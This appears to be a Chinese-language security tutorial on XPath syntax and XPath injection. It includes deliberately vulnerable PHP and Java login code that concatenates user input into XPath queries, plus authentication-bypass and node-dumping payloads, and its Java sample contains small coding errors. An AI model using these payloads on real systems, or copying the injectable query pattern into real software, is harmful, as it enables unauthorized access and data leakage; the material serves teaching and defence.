1 XPath
XPath即为XML路径语言,它是一种在xml文件中查找信息的语言。
在xPath中,有七种元素的节点:元素、属性、文本、命名空间、处理指令、注释以及文档(根节点)。xml文档被当作文档树来解析,树的根被称为文档节点或者根节点。
XML文件内容如下:
XPath 使用路径表达式在 XML 文档中选取节点。节点是通过沿着路径或者 step 来选取的。 下面列出了最有用的路径表达式:
nodename:选取此节点的所有节点
/: 从根节点选取
//: 从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置
.: 选取当前节点
..: 选取当前节点的父节点
@: 选取属性
2 Xpath注入
XPath 注入利用 XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的 XPath 查询代码,以获得高权限信息的访问权。
XPath注入类似于SQL注入,当网站使用未经正确处理的用户输入查询 XML 数据时,可能发生 XPATH 注入。但是XPath 中数据管理不受权限控制,在表单中提交恶意的 XPath 代码,就可获取到权限限制数据的访问权,并可修改这些数据。同样地,构造恶意查询获取到系统内部完整的XML 文档内容造成信息泄露。也可以在获取到XML文档内容后进行用户权限提升等。
3 案例演示
3.1 PHP代码
1)读取xml的xpath方法
<?php
if(file_exists('test.xml')){
$xml=simplexml_load_file('test.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=$_POST['password'];
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
echo "登录成功";
$login_user = $result[0]->username;
echo "you login as $login_user";
}
}
}
?>
2)test.xml
<?xml version="1.0" encoding="UTF-8"?>
<accounts>
<user id="1">
<username>xpathtest</username>
<email>123@qq.com</email>
<accounttype>administrator</accounttype>
<password>admin787</password>
</user>
3)测试语句
x' or 1=1 or ''='
此时的语句:$x_query="/accounts/user[username='x' or 1=1 or ''='' and password='']";
/accounts 所有accounts节点的子元素
/user 所有user节点的子元素
username ='x' user子元素中属性username为x
password =' ' user子元素中属性password为空
http://127.0.0.1/debug.php?user=vk'] | //* | //*['
vk'] 闭合前面
| 表示分别执行,类似于SQL中的union select,这个符号的前后路径都回去查询
//* 表示匹配所有的节点
| 表示分别执行,类似于SQL中的union select,这个符号的前后路径都回去查询
//*[' 前面的//*是xpath语法必须的,如果没有则会报错,['则是闭合后面的内容
XPATH语法中是没有注释的,不能像SQL语句那样注释后面多余的语句,所以只能采用闭合的方式。
3.2 Java代码
DocumentBuilderFactory doc=DocumentBuilderFactory.newInstance();
DocumentBuilder db=doc.newDocumentBuilder();
InputStream is= new FileInputStream("test.xml");
Document doc=dombuilder.parse(is);
Element root=doc.getDocumentElement();
NodeList users=root.getChildNodes();
XPathFactory factory = XPathFactory.newInstance();
XPath xpath = factory.newXPath();
XPathExpression expr;
expr = xpath.compile("/accounts/user[username='"+ uname +"']");
Object result = expr.evaluate(doc, XPathConstants.NODESET);
安全学习交流群:687398569